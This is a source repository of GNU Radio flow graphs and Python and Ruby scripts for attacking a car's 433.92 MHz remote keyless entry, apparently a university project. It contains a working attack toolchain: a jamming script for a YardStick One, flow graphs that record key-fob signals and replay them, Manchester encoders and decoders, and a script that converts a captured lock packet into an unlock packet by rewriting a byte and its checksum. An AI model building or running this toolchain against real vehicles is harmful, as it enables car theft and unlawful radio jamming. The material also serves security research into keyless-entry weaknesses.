self.offset, 0) 115 | 116 | def get_key_freq(self): 117 | return self.key_freq 118 | 119 | def set_key_freq(self, key_freq): 120 | self.key_freq = key_freq 121 | self.osmosdr_sink_0.set_center_freq(self.key_freq - self.offset, 0) 122 | self.analog_sig_source_x_0.set_frequency(self.key_freq) 123 | 124 | 125 | def argument_parser(): 126 | parser = OptionParser(usage="%prog: [options]", option_class=eng_option) 127 | parser.add_option( 128 | "", "--infile", dest="infile", type="string", default="", 129 | help="Set infile [default=%default]") 130 | return parser 131 | 132 | 133 | def main(top_block_cls=mod, options=None): 134 | if options is None: 135 | options, _ = argument_parser().parse_args() 136 | 137 | tb = top_block_cls(infile=options.infile) 138 | tb.Start(True) 139 | tb.Wait() 140 | 141 | 142 | if __name__ == '__main__': 143 | main() 144 | -------------------------------------------------------------------------------- /grc/record.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | ################################################## 4 | # GNU Radio Python Flow Graph 5 | # Title: Record 6 | # Generated: Mon Jan 30 11:41:47 2017 7 | ################################################## 8 | 9 | if __name__ == '__main__': 10 | import ctypes 11 | import sys 12 | if sys.platform.startswith('linux'): 13 | try: 14 | x11 = ctypes.cdll.LoadLibrary('libX11.so') 15 | x11.XInitThreads() 16 | except: 17 | print "Warning: failed to XInitThreads()" 18 | 19 | from gnuradio import blocks 20 | from gnuradio import eng_notation 21 | from gnuradio import filter 22 | from gnuradio import gr 23 | from gnuradio import wxgui 24 | from gnuradio.eng_option import eng_option 25 | from gnuradio.fft import window 26 | from gnuradio.filter import firdes 27 | from gnuradio.wxgui import fftsink2 28 | from gnuradio.wxgui import forms 29 | from gnuradio.wxgui import waterfallsink2 30 | from grc_gnuradio import wxgui as grc_wxgui 31 | from optparse import OptionParser 32 | import osmosdr 33 | import wx 34 | 35 | 36 | class record(grc_wxgui.top_block_gui): 37 | 38 | def __init__(self): 39 | grc_wxgui.top_block_gui.__init__(self, title="Record") 40 | 41 | ################################################## 42 | # Variables 43 | ################################################## 44 | self.key_freq = key_freq = 433.92e6 45 | self.samp_rate = samp_rate = 2e6 46 | self.offset = offset = 220e3 47 | self.freq = freq = key_freq 48 | 49 | ################################################## 50 | # Blocks 51 | ################################################## 52 | _freq_sizer = wx.BoxSizer(wx.VERTICAL) 53 | self._freq_text_box = forms.text_box( 54 | parent=self.GetWin(), 55 | sizer=_freq_sizer, 56 | value=self.freq, 57 | callback=self.set_freq, 58 | label='freq', 59 | converter=forms.float_converter(), 60 | proportion=0, 61 | ) 62 | self._freq_slider = forms.slider( 63 | parent=self.GetWin(), 64 | sizer=_freq_sizer, 65 | value=self.freq, 66 | callback=self.set_freq, 67 | minimum=key_freq - 10e6, 68 | maximum=key_freq + 10e6, 69 | num_steps=1000, 70 | style=wx.SL_HORIZONTAL, 71 | cast=float, 72 | proportion=1, 73 | ) 74 | self.Add(_freq_sizer) 75 | self.wxgui_waterfallsink2_0 = waterfallsink2.waterfall_sink_c( 76 | self.GetWin(), 77 | baseband_freq=freq - offset, 78 | dynamic_range=100, 79 | ref_level=0, 80 | ref_scale=2.0, 81 | sample_rate=samp_rate, 82 | fft_size=512, 83 | fft_rate=15, 84 | average=False, 85 | avg_alpha=None, 86 | title='Waterfall Plot', 87 | ) 88 | self.Add(self.wxgui_waterfallsink2_0.win) 89 | self.wxgui_fftsink2_0 = fftsink2.fft_sink_c( 90 | self.GetWin(), 91 | baseband_freq=freq - offset, 92 | y_per_div=10, 93 | y_divs=10, 94 | ref_level=0, 95 | ref_scale=2.0, 96 | sample_rate=samp_rate, 97 | fft_size=1024, 98 | fft_rate=15, 99 | average=False, 100 | avg_alpha=None, 101 | title='FFT Plot', 102 | peak_hold=False, 103 | ) 104 | self.Add(self.wxgui_fftsink2_0.win) 105 | self.osmosdr_source_0 = osmosdr.source( args="numchan=" + str(1) + " " + '' ) 106 | self.osmosdr_source_0.set_sample_rate(samp_rate) 107 | self.osmosdr_source_0.set_center_freq(freq - offset, 0) 108 | self.osmosdr_source_0.set_freq_corr(0, 0) 109 | self.osmosdr_source_0.set_dc_offset_mode(2, 0) 110 | self.osmosdr_source_0.set_iq_balance_mode(0, 0) 111 | self.osmosdr_source_0.set_gain_mode(False, 0) 112 | self.osmosdr_source_0.set_gain(0, 0) 113 | self.osmosdr_source_0.set_if_gain(17, 0) 114 | self.osmosdr_source_0.set_bb_gain(20, 0) 115 | self.osmosdr_source_0.set_antenna('', 0) 116 | self.osmosdr_source_0.set_bandwidth(0, 0) 117 | 118 | self.dc_blocker_xx_0 = filter.dc_blocker_cc(1024, True) 119 | self.blocks_file_sink_0 = blocks.file_sink(gr.sizeof_gr_complex*1, '/home/kathy/Uni/rkes/carkey.record', False) 120 | self.blocks_file_sink_0.set_unbuffered(False) 121 | 122 | ################################################## 123 | # Connections 124 | ################################################## 125 | self.connect((self.dc_blocker_xx_0, 0), (self.blocks_file_sink_0, 0)) 126 | self.connect((self.dc_blocker_xx_0, 0), (self.wxgui_fftsink2_0, 0)) 127 | self.connect((self.dc_blocker_xx_0, 0), (self.wxgui_waterfallsink2_0, 0)) 128 | self.connect((self.osmosdr_source_0, 0), (self.dc_blocker_xx_0, 0)) 129 | 130 | def get_key_freq(self): 131 | return self.key_freq 132 | 133 | def set_key_freq(self, key_freq): 134 | self.key_freq = key_freq 135 | self.set_freq(self.key_freq) 136 | 137 | def get_samp_rate(self): 138 | return self.samp_rate 139 | 140 | def set_samp_rate(self, samp_rate): 141 | self.samp_rate = samp_rate 142 | self.wxgui_waterfallsink2_0.set_sample_rate(self.samp_rate) 143 | self.wxgui_fftsink2_0.set_sample_rate(self.samp_rate) 144 | self.osmosdr_source_0.set_sample_rate(self.samp_rate) 145 | 146 | def get_offset(self): 147 | return self.offset 148 | 149 | def set_offset(self, offset): 150 | self.offset = offset 151 | self.wxgui_waterfallsink2_0.set_baseband_freq(self.freq - self.offset) 152 | self.wxgui_fftsink2_0.set_baseband_freq(self.freq - self.offset) 153 | self.osmosdr_source_0.set_center_freq(self.freq - self.offset, 0) 154 | 155 | def get_freq(self): 156 | return self.freq 157 | 158 | def set_freq(self, freq): 159 | self.freq = freq 160 | self._freq_slider.set_value(self.freq) 161 | self._freq_text_box.set_value(self.freq) 162 | self.wxgui_waterfallsink2_0.set_baseband_freq(self.freq - self.offset) 163 | self.wxgui_fftsink2_0.set_baseband_freq(self.freq - self.offset) 164 | self.osmosdr_source_0.set_center_freq(self.freq - self.offset, 0) 165 | 166 | 167 | def main(top_block_cls=record, options=None): 168 | 169 | tb = top_block_cls() 170 | tb.Start(True) 171 | tb.Wait() 172 | 173 | 174 | if __name__ == '__main__': 175 | main() 176 | -------------------------------------------------------------------------------- /grc/record_jamming.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | ################################################## 4 | # GNU Radio Python Flow Graph 5 | # Title: Record Jamming 6 | # Generated: Sun Jan 29 20:42:56 2017 7 | ################################################## 8 | 9 | if __name__ == '__main__': 10 | import ctypes 11 | import sys 12 | if sys.platform.startswith('linux'): 13 | try: 14 | x11 = ctypes.cdll.LoadLibrary('libX11.so') 15 | x11.XInitThreads() 16 | except: 17 | print "Warning: failed to XInitThreads()" 18 | 19 | from gnuradio import blocks 20 | from gnuradio import eng_notation 21 | from gnuradio import filter 22 | from gnuradio import gr 23 | from gnuradio import wxgui 24 | from gnuradio.eng_option import eng_option 25 | from gnuradio.fft import window 26 | from gnuradio.filter import firdes 27 | from gnuradio.wxgui import fftsink2 28 | from gnuradio.wxgui import forms 29 | from gnuradio.wxgui import waterfallsink2 30 | from grc_gnuradio import wxgui as grc_wxgui 31 | from optparse import OptionParser 32 | import osmosdr 33 | import wx 34 | 35 | 36 | class record_jamming(grc_wxgui.top_block_gui): 37 | 38 | def __init__(self, outfile=""): 39 | grc_wxgui.top_block_gui.__init__(self, title="Record Jamming") 40 | 41 | ################################################## 42 | # Parameters 43 | ################################################## 44 | self.outfile = outfile 45 | 46 | ################################################## 47 | # Variables 48 | ################################################## 49 | self.key_freq = key_freq = 433.92e6 50 | self.samp_rate = samp_rate = 2e6 51 | self.offset = offset = 220e3 52 | self.freq = freq = key_freq 53 | 54 | ################################################## 55 | # Blocks 56 | ################################################## 57 | _freq_sizer = wx.BoxSizer(wx.VERTICAL) 58 | self._freq_text_box = forms.text_box( 59 | parent=self.GetWin(), 60 | sizer=_freq_sizer, 61 | value=self.freq, 62 | callback=self.set_freq, 63 | label='freq', 64 | converter=forms.float_converter(), 65 | proportion=0, 66 | ) 67 | self._freq_slider = forms.slider( 68 | parent=self.GetWin(), 69 | sizer=_freq_sizer, 70 | value=self.freq, 71 | callback=self.set_freq, 72 | minimum=key_freq - 10e6, 73 | maximum=key_freq + 10e6, 74 | num_steps=1000, 75 | style=wx.SL_HORIZONTAL, 76 | cast=float, 77 | proportion=1, 78 | ) 79 | self.Add(_freq_sizer) 80 | self.wxgui_waterfallsink2_0 = waterfallsink2.waterfall_sink_c( 81 | self.GetWin(), 82 | baseband_freq=freq - offset, 83 | dynamic_range=100, 84 | ref_level=0, 85 | ref_scale=2.0, 86 | sample_rate=samp_rate, 87 | fft_size=512, 88 | fft_rate=15, 89 | average=False, 90 | avg_alpha=None, 91 | title='Waterfall Plot', 92 | ) 93 | self.Add(self.wxgui_waterfallsink2_0.win) 94 | self.wxgui_fftsink2_0 = fftsink2.fft_sink_c( 95 | self.GetWin(), 96 | baseband_freq=freq - offset, 97 | y_per_div=10, 98 | y_divs=10, 99 | ref_level=0, 100 | ref_scale=2.0, 101 | sample_rate=samp_rate, 102 | fft_size=1024, 103 | fft_rate=15, 104 | average=False, 105 | avg_alpha=None, 106 | title='FFT Plot', 107 | peak_hold=False, 108 | ) 109 | self.Add(self.wxgui_fftsink2_0.win) 110 | self.osmosdr_source_0 = osmosdr.source( args="numchan=" + str(1) + " " + '' ) 111 | self.osmosdr_source_0.set_sample_rate(samp_rate) 112 | self.osmosdr_source_0.set_center_freq(freq - offset, 0) 113 | self.osmosdr_source_0.set_freq_corr(0, 0) 114 | self.osmosdr_source_0.set_dc_offset_mode(2, 0) 115 | self.osmosdr_source_0.set_iq_balance_mode(0, 0) 116 | self.osmosdr_source_0.set_gain_mode(False, 0) 117 | self.osmosdr_source_0.set_gain(0, 0) 118 | self.osmosdr_source_0.set_if_gain(17, 0) 119 | self.osmosdr_source_0.set_bb_gain(20, 0) 120 | self.osmosdr_source_0.set_antenna('', 0) 121 | self.osmosdr_source_0.set_bandwidth(0, 0) 122 | 123 | self.high_pass_filter_0 = filter.fir_filter_ccf(1, firdes.high_pass( 124 | 1, samp_rate, 220e3, 5e3, firdes.WIN_HANN, 6.76)) 125 | self.dc_blocker_xx_0 = filter.dc_blocker_cc(1024, True) 126 | self.blocks_file_sink_0 = blocks.file_sink(gr.sizeof_gr_complex*1, outfile, False) 127 | self.blocks_file_sink_0.set_unbuffered(False) 128 | 129 | ################################################## 130 | # Connections 131 | ################################################## 132 | self.connect((self.dc_blocker_xx_0, 0), (self.high_pass_filter_0, 0)) 133 | self.connect((self.high_pass_filter_0, 0), (self.blocks_file_sink_0, 0)) 134 | self.connect((self.high_pass_filter_0, 0), (self.wxgui_fftsink2_0, 0)) 135 | self.connect((self.high_pass_filter_0, 0), (self.wxgui_waterfallsink2_0, 0)) 136 | self.connect((self.osmosdr_source_0, 0), (self.dc_blocker_xx_0, 0)) 137 | 138 | def get_outfile(self): 139 | return self.outfile 140 | 141 | def set_outfile(self, outfile): 142 | self.outfile = outfile 143 | self.blocks_file_sink_0.open(self.outfile) 144 | 145 | def get_key_freq(self): 146 | return self.key_freq 147 | 148 | def set_key_freq(self, key_freq): 149 | self.key_freq = key_freq 150 | self.set_freq(self.key_freq) 151 | 152 | def get_samp_rate(self): 153 | return self.samp_rate 154 | 155 | def set_samp_rate(self, samp_rate): 156 | self.samp_rate = samp_rate 157 | self.wxgui_waterfallsink2_0.set_sample_rate(self.samp_rate) 158 | self.wxgui_fftsink2_0.set_sample_rate(self.samp_rate) 159 | self.osmosdr_source_0.set_sample_rate(self.samp_rate) 160 | self.high_pass_filter_0.set_taps(firdes.high_pass(1, self.samp_rate, 220e3, 5e3, firdes.WIN_HANN, 6.76)) 161 | 162 | def get_offset(self): 163 | return self.offset 164 | 165 | def set_offset(self, offset): 166 | self.offset = offset 167 | self.wxgui_waterfallsink2_0.set_baseband_freq(self.freq - self.offset) 168 | self.wxgui_fftsink2_0.set_baseband_freq(self.freq - self.offset) 169 | self.osmosdr_source_0.set_center_freq(self.freq - self.offset, 0) 170 | 171 | def get_freq(self): 172 | return self.freq 173 | 174 | def set_freq(self, freq): 175 | self.freq = freq 176 | self._freq_slider.set_value(self.freq) 177 | self._freq_text_box.set_value(self.freq) 178 | self.wxgui_waterfallsink2_0.set_baseband_freq(self.freq - self.offset) 179 | self.wxgui_fftsink2_0.set_baseband_freq(self.freq - self.offset) 180 | self.osmosdr_source_0.set_center_freq(self.freq - self.offset, 0) 181 | 182 | 183 | def argument_parser(): 184 | parser = OptionParser(usage="%prog: [options]", option_class=eng_option) 185 | parser.add_option( 186 | "", "--outfile", dest="outfile", type="string", default="", 187 | help="Set outfile [default=%default]") 188 | return parser 189 | 190 | 191 | def main(top_block_cls=record_jamming, options=None): 192 | if options is None: 193 | options, _ = argument_parser().parse_args() 194 | 195 | tb = top_block_cls(outfile=options.outfile) 196 | tb.Start(True) 197 | tb.Wait() 198 | 199 | 200 | if __name__ == '__main__': 201 | main() 202 | -------------------------------------------------------------------------------- /grc/replay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | ################################################## 4 | # GNU Radio Python Flow Graph 5 | # Title: Replay 6 | # Generated: Sun Jan 8 16:46:49 2017 7 | ################################################## 8 | 9 | if __name__ == '__main__': 10 | import ctypes 11 | import sys 12 | if sys.platform.startswith('linux'): 13 | try: 14 | x11 = ctypes.cdll.LoadLibrary('libX11.so') 15 | x11.XInitThreads() 16 | except: 17 | print "Warning: failed to XInitThreads()" 18 | 19 | from gnuradio import blocks 20 | from gnuradio import eng_notation 21 | from gnuradio import filter 22 | from gnuradio import gr 23 | from gnuradio import wxgui 24 | from gnuradio.eng_option import eng_option 25 | from gnuradio.fft import window 26 | from gnuradio.filter import firdes 27 | from gnuradio.wxgui import fftsink2 28 | from gnuradio.wxgui import scopesink2 29 | from grc_gnuradio import wxgui as grc_wxgui 30 | from optparse import OptionParser 31 | import osmosdr 32 | import wx 33 | 34 | 35 | class replay(grc_wxgui.top_block_gui): 36 | 37 | def __init__(self): 38 | grc_wxgui.top_block_gui.__init__(self, title="Replay") 39 | 40 | ################################################## 41 | # Variables 42 | ################################################## 43 | self.samp_rate = samp_rate = 2e6 44 | self.offset = offset = 220e3 45 | self.key_freq = key_freq = 433.92e6 46 | self.baud_rate = baud_rate = 2e3 47 | 48 | ################################################## 49 | # Blocks 50 | ################################################## 51 | self.wxgui_scopesink2_0 = scopesink2.scope_sink_c( 52 | self.GetWin(), 53 | title='Scope Plot', 54 | sample_rate=samp_rate, 55 | v_scale=0, 56 | v_offset=0, 57 | t_scale=0, 58 | ac_couple=False, 59 | xy_mode=False, 60 | num_inputs=1, 61 | trig_mode=wxgui.TRIG_MODE_AUTO, 62 | y_axis_label='Counts', 63 | ) 64 | self.Add(self.wxgui_scopesink2_0.win) 65 | self.wxgui_fftsink2_0 = fftsink2.fft_sink_c( 66 | self.GetWin(), 67 | baseband_freq=key_freq - offset, 68 | y_per_div=10, 69 | y_divs=10, 70 | ref_level=0, 71 | ref_scale=2.0, 72 | sample_rate=samp_rate, 73 | fft_size=1024, 74 | fft_rate=15, 75 | average=False, 76 | avg_alpha=None, 77 | title='FFT Plot', 78 | peak_hold=False, 79 | ) 80 | self.Add(self.wxgui_fftsink2_0.win) 81 | self.osmosdr_sink_0 = osmosdr.sink( args="numchan=" + str(1) + " " + '' ) 82 | self.osmosdr_sink_0.set_sample_rate(samp_rate) 83 | self.osmosdr_sink_0.set_center_freq(key_freq - offset, 0) 84 | self.osmosdr_sink_0.set_freq_corr(0, 0) 85 | self.osmosdr_sink_0.set_gain(0, 0) 86 | self.osmosdr_sink_0.set_if_gain(47, 0) 87 | self.osmosdr_sink_0.set_bb_gain(20, 0) 88 | self.osmosdr_sink_0.set_antenna('', 0) 89 | self.osmosdr_sink_0.set_bandwidth(0, 0) 90 | 91 | self.blocks_throttle_0 = blocks.throttle(gr.sizeof_gr_complex*1, samp_rate,True) 92 | self.blocks_multiply_const_vxx_0 = blocks.multiply_const_vcc((6, )) 93 | self.blocks_file_source_0 = blocks.file_source(gr.sizeof_gr_complex*1, '/home/kathy/Uni/rkes/carkey.record', False) 94 | self.band_pass_filter_0 = filter.fir_filter_ccf(1, firdes.band_pass( 95 | 1, samp_rate, 100e3, 200e3, 50e3, firdes.WIN_HAMMING, 6.76)) 96 | 97 | ################################################## 98 | # Connections 99 | ################################################## 100 | self.connect((self.band_pass_filter_0, 0), (self.blocks_throttle_0, 0)) 101 | self.connect((self.band_pass_filter_0, 0), (self.osmosdr_sink_0, 0)) 102 | self.connect((self.blocks_file_source_0, 0), (self.blocks_multiply_const_vxx_0, 0)) 103 | self.connect((self.blocks_multiply_const_vxx_0, 0), (self.band_pass_filter_0, 0)) 104 | self.connect((self.blocks_throttle_0, 0), (self.wxgui_fftsink2_0, 0)) 105 | self.connect((self.blocks_throttle_0, 0), (self.wxgui_scopesink2_0, 0)) 106 | 107 | def get_samp_rate(self): 108 | return self.samp_rate 109 | 110 | def set_samp_rate(self, samp_rate): 111 | self.samp_rate = samp_rate 112 | self.wxgui_scopesink2_0.set_sample_rate(self.samp_rate) 113 | self.wxgui_fftsink2_0.set_sample_rate(self.samp_rate) 114 | self.osmosdr_sink_0.set_sample_rate(self.samp_rate) 115 | self.blocks_throttle_0.set_sample_rate(self.samp_rate) 116 | self.band_pass_filter_0.set_taps(firdes.band_pass(1, self.samp_rate, 100e3, 200e3, 50e3, firdes.WIN_HAMMING, 6.76)) 117 | 118 | def get_offset(self): 119 | return self.offset 120 | 121 | def set_offset(self, offset): 122 | self.offset = offset 123 | self.wxgui_fftsink2_0.set_baseband_freq(self.key_freq - self.offset) 124 | self.osmosdr_sink_0.set_center_freq(self.key_freq - self.offset, 0) 125 | 126 | def get_key_freq(self): 127 | return self.key_freq 128 | 129 | def set_key_freq(self, key_freq): 130 | self.key_freq = key_freq 131 | self.wxgui_fftsink2_0.set_baseband_freq(self.key_freq - self.offset) 132 | self.osmosdr_sink_0.set_center_freq(self.key_freq - self.offset, 0) 133 | 134 | def get_baud_rate(self): 135 | return self.baud_rate 136 | 137 | def set_baud_rate(self, baud_rate): 138 | self.baud_rate = baud_rate 139 | 140 | 141 | def main(top_block_cls=replay, options=None): 142 | 143 | tb = top_block_cls() 144 | tb.Start(True) 145 | tb.Wait() 146 | 147 | 148 | if __name__ == '__main__': 149 | main() 150 | -------------------------------------------------------------------------------- /tools/decode.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DIR=$(dirname $0)/scripts 4 | 5 | $DIR/clockrec.py $1 2> /dev/null | $DIR/manchester-decode.rb | $DIR/bits2pdu.rb | $DIR/verify.py 6 | -------------------------------------------------------------------------------- /tools/encode.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DIR=$(dirname $0)/scripts 4 | 5 | $DIR/manchester-encode.py | $DIR/build_packet.py | $DIR/sample.py $1 6 | -------------------------------------------------------------------------------- /tools/jamming.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # 3 | # Sends a jamming signal (just a stream of ones) using a yardstick one. 4 | 5 | import time 6 | from rflib import * 7 | 8 | yardstick = RfCat(idx=0) 9 | yardstick.setModeTX() 10 | yardstick.setFreq(433700000) 11 | yardstick.setMaxPower() 12 | yardstick.setMdmChanSpc(24000) 13 | yardstick.setMdmModulation(MOD_ASK_OOK) 14 | yardstick.setMdmDRate(int(1.0/0.0006)) 15 | yardstick.setRFRegister(PA_TABLE0,0xFF) 16 | yardstick.setRFRegister(PA_TABLE1,0xFF) 17 | yardstick.makePktFLEN(255) 18 | 19 | try: 20 | print("Now jamming, press ctrl-c to stop") 21 | while True: 22 | time.sleep(1) 23 | 24 | except KeyboardInterrupt: 25 | print("Bye") 26 | yardstick.setModeIDLE() 27 | -------------------------------------------------------------------------------- /tools/scripts/bits2pdu.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # Reassembles a packet from the incoming bitstream. 4 | 5 | bits = ARGF.gets 6 | first1 = bits.index('1') 7 | bits = bits[(first1-7)..-2] 8 | 9 | bits.each_char.each_slice(8) do |s| 10 | print "" + s.join.to_i(2).to_s(16).rjust(2, '0') 11 | end 12 | puts 13 | 14 | -------------------------------------------------------------------------------- /tools/scripts/build_packet.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Converts the payload into a full packet structure as expected by the car. 4 | 5 | import sys 6 | 7 | bits = sys.stdin.readline().strip() 8 | 9 | preamble = '01' * 97 10 | 11 | print(preamble + (bits + '01111111111') * 4 + '111') 12 | -------------------------------------------------------------------------------- /tools/scripts/clockrec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env pypy3 2 | # 3 | # Detects a signal in a bytestream produced from demod.grc and performs clock recovery. Then outputs the resulting bitstream. 4 | 5 | import sys 6 | 7 | with open(sys.argv[1], 'rb') as f: 8 | data = f.read() 9 | 10 | msg = [] 11 | 12 | samples_per_symbol = 900 13 | 14 | # Current position in the buffer 15 | current_position = 0 16 | # Right after the first candidate 17 | checkpoint = -1 18 | 19 | 20 | def find_start(): 21 | global current_position, checkpoint, data 22 | 23 | # Look for > samples_per_symbol ones 24 | one_found = False 25 | count = 0 26 | 27 | while current_position < len(data): 28 | b = data[current_position] 29 | if not one_found and b == 1: 30 | one_found = True 31 | count = 0 32 | elif one_found and b == 0: 33 | if count < samples_per_symbol or count > 2 * samples_per_symbol: 34 | # False candidate 35 | one_found = False 36 | else: 37 | # Looks good 38 | checkpoint = current_position 39 | return 40 | 41 | count += 1 42 | current_position += 1 43 | 44 | print("Error: start not found", file=sys.stderr) 45 | sys.exit(-1) 46 | 47 | 48 | while current_position < len(data): 49 | 50 | find_start() 51 | msg = [0, 1] 52 | 53 | current_symbol = 0 54 | current_length = 0 55 | need_verify = True 56 | 57 | # Try to receive the whole packet now 58 | while current_position < len(data): 59 | 60 | b = data[current_position] 61 | 62 | if current_symbol != b: 63 | # Verify last 10 symbols were same as this one 64 | invalid = False 65 | for i in range(10): 66 | if data[current_position-i] != b: 67 | invalid = True 68 | 69 | if not invalid: 70 | mult = int(current_length / (samples_per_symbol * 1)) 71 | if mult > 2 and current_symbol == 0 and len(msg) > 50: 72 | print("done", file=sys.stderr) 73 | break 74 | 75 | #for i in range(mult): 76 | #print(current_symbol, current_length // mult, file=sys.stderr) 77 | msg += [current_symbol] * mult 78 | 79 | current_length = 10 80 | current_symbol = b 81 | 82 | 83 | if need_verify and len(msg) > 25: 84 | fail = False 85 | for i, b in enumerate(msg): 86 | if msg[i] != i % 2: 87 | fail = True 88 | break 89 | 90 | if fail: 91 | print("Got incorrect signal, restarting from last checkpoint", file=sys.stderr) 92 | current_position = checkpoint 93 | break 94 | else: 95 | need_verify = False 96 | 97 | current_length += 1 98 | current_position += 1 99 | 100 | print(''.join(map(str, msg))) 101 | -------------------------------------------------------------------------------- /tools/scripts/lock2unlock.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Converts a lock signal into an unlock signal 4 | 5 | import sys 6 | from binascii import hexlify, unhexlify 7 | from functools import reduce 8 | from operator import xor 9 | 10 | data = bytearray(unhexlify(sys.stdin.read().strip())) 11 | 12 | data[1] = 2 13 | data[9] = reduce(xor, data[1:9]) 14 | 15 | print(hexlify(data).decode('ascii')) 16 | -------------------------------------------------------------------------------- /tools/scripts/manchester-decode.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # Decodes a manchester encoded bitstream. 4 | 5 | ARGF.each_char.each_slice 2 do |b1, b2| 6 | if b1 and b2 7 | if b1 + b2 == '01' 8 | print '0' 9 | elsif b1 + b2 == '10' 10 | print '1' 11 | elsif b1 + b2 == '11' 12 | exit 13 | #print '_' 14 | else 15 | print "\nError\n" 16 | end 17 | end 18 | end 19 | puts 20 | -------------------------------------------------------------------------------- /tools/scripts/manchester-encode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Applies manchester encoding to the given bitstream 4 | 5 | import sys 6 | import binascii 7 | 8 | data = binascii.unhexlify(sys.stdin.read().strip()) 9 | output = [] 10 | 11 | for byte in data: 12 | bits = format(byte, '0>8b') 13 | 14 | for c in bits: 15 | if c == '0': 16 | output.append('01') 17 | elif c == '1': 18 | output.append('10') 19 | else: 20 | assert(False) 21 | 22 | print(''.join(output)) 23 | -------------------------------------------------------------------------------- /tools/scripts/sample.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # "Samples" the packet at roughly 2MHz 4 | 5 | import sys 6 | 7 | one = 990 * b'\x01' 8 | first_one = 905 * b'\x01' 9 | zero = 1100 * b'\x00' 10 | 11 | is_first_one = True 12 | 13 | output = open(sys.argv[1], 'wb') 14 | 15 | line = sys.stdin.readline().strip() 16 | for c in line.strip(): 17 | if c == '0': 18 | output.write(zero) 19 | elif c == '1': 20 | if is_first_one: 21 | output.write(first_one) 22 | is_first_one = False 23 | else: 24 | output.write(one) 25 | else: 26 | assert(False) 27 | 28 | for _ in range(4): 29 | output.write(zero) 30 | 31 | output.close() 32 | -------------------------------------------------------------------------------- /tools/scripts/verify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Verifies the checksum of the packet 4 | 5 | import sys 6 | from binascii import hexlify, unhexlify 7 | from functools import reduce 8 | from operator import xor 9 | 10 | data = bytearray(unhexlify(sys.stdin.read().strip())) 11 | 12 | chksum = reduce(xor, data[1:9]) 13 | if chksum != data[9]: 14 | print("Error: invalid checksum!") 15 | sys.exit(-1) 16 | 17 | print(hexlify(data).decode('ascii')) 18 | 19 | --------------------------------------------------------------------------------